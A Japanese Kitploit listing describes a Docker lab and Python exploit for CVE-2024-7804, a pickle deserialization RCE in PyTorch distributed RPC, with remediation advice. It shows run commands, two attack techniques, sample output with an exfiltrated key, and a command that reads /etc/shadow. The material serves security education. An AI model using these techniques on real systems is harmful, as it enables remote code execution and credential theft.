Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2024-7804 — 自己完結型のDockerラボとPythonエクスプロイトで、CVE-2024-7804を実証します。これは、安全でないpickle逆シリアル化(CWE-502)を介したPyTorchの分散RPCにおける重大なRCEです。2つの攻撃手法と是正ガイダンスが含まれています。 | Kitploit
ツール/GitHubGitHub/joaovicdev/cve-2024-7804
脆弱性分析エクスプロイト学習と教育バイナリエクスプロイトラボと実践
GitHubjoaovicdev/cve-2024-7804

CVE-2024-7804

自己完結型のDockerラボとPythonエクスプロイトで、CVE-2024-7804を実証します。これは、安全でないpickle逆シリアル化(CWE-502)を介したPyTorchの分散RPCにおける重大なRCEです。2つの攻撃手法と是正ガイダンスが含まれています。

リポジトリを見る
6時間32分前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2024-7804 — PyTorch分散RPCの安全でない逆シリアル化(RCE)

自己完結型ラボ+CVE-2024-7804のエクスプロイト:PyTorchの分散RPCフレームワーク(torch.distributed.rpc)における、信頼できないデータの安全でない逆シリアル化(CWE-502)によるリモートコード実行。

  • 影響を受けるバージョン: torch <= 2.3.1
  • 脆弱なコード: torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()
  • CVSS 3.0: 9.8(Critical)

注:このアドバイザリは後にメンテナおよびRed Hatによって「既知の機能」として撤回/却下されました — PyTorch RPCは設計上信頼できるピアシステムです。このラボは、報告された問題の正確で実践的なデモンストレーションとして引き続き有効です。

脆弱性

すべてのRPC呼び出しはPythonUDF namedtuple(func、args、)を送信します。受信ノードでは、許可リストも整合性チェックもない**素の**で再構築されます:

kwargs
pickle.Unpickler
root@kitploit:~
# torch/distributed/rpc/internal.py  (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
    ...
    unpickler = _unpickler(io.BytesIO(binary_data))   # _unpickler = pickle.Unpickler
    ret = unpickler.load()                            # <-- 攻撃者が制御するpickle
    ...

RPC「ワールド」に参加できるピアは、ノードに任意のコードを実行させることができます — load()の最中に発火するpickle __reduce__ガジェットを使用するか、ノードが実行する内容を制限するものがないため、単にインポート可能な呼び出し可能オブジェクトをUDFとして指定するだけでも可能です。

レイアウト

root@kitploit:~
CVE-2024-7804/
├── docker-compose.yml   # 被害者+攻撃者を1つのブリッジネットワーク上に配置
├── lab/
│   ├── Dockerfile       # python:3.11-slim + torch 2.3.1 (CPU) — 脆弱なイメージ
│   └── server.py        # 被害者:ピアを待つ信頼するRPCワーカー
└── exploit/
    └── exploit.py       # 攻撃者:ワールドに参加し被害者にRCEを仕掛ける

要件

Composeプラグインを備えたDocker。CPUのみ(GPU不要)、amd64およびarm64で動作します。

実行方法

root@kitploit:~
# 1. 脆弱な被害者ノードを起動(rank 0、ピアを待機)
docker compose up --build -d victim

# 2. エクスプロイトを実行(デフォルト:被害者上でコマンドを実行し、そのstdoutを取得)
docker compose run --rm attacker

# 3. すべてを破棄
docker compose down

期待される出力(デフォルトの手法)

root@kitploit:~
[attacker] ===== command output returned from victim =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- exfiltrated secret ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== end output =====

攻撃者は被害者上でrootとしてコマンドを実行し、公開されるはずのなかったファイルを外部に持ち出しました。

エクスプロイトの2つの手法

コマンド内容
docker compose run --rm attackersubprocess.check_outputをUDFとして送信。被害者はコマンドを実行し、そのstdoutを返します — RCEおよびデータ流出を1回の呼び出しで実現。
docker compose run --rm attacker python exploit.py --reduce__reduce__がos.systemを実行するオブジェクトを送信 — 被害者がペイロードをアンピックルしている間に実行されます — 逆シリアル化時点でのRCE(CWE-502の本質)、UDFが呼び出される前です。

カスタムコマンド:

root@kitploit:~
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"

--reduceの場合、コマンドは被害者上で実行されるため、そこで確認してください:

root@kitploit:~
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim        # 出力は被害者のログに表示されます

--reduceの被害者ログは、torch/distributed/rpc/internal.pyの約207行目(python_udf.func(...))でトレースバックで終了します — ペイロードが安全でないアンピックラーによってすでに再構築され実行された証拠です。

修正方法

  • 影響を受ける行を超えてアップグレードし、PyTorchのガイダンスに従ってください:相互に信頼できるノード間でのみ、信頼できるネットワーク上でRPCを実行してください。
  • RPCレンデブーポート(デフォルト29500)を信頼できないネットワークに公開しないでください。
  • pickleベースのプロトコルはコード実行として扱ってください:ピアを認証および暗号化し(例:mTLS)、RPCワーカーを分離してください。

免責事項

教育および許可されたセキュリティテスト専用です。このラボは意図的に脆弱です — デプロイしないでください。また、このラボに対してのみエクスプロイトを実行してください。

ツールをダウンロード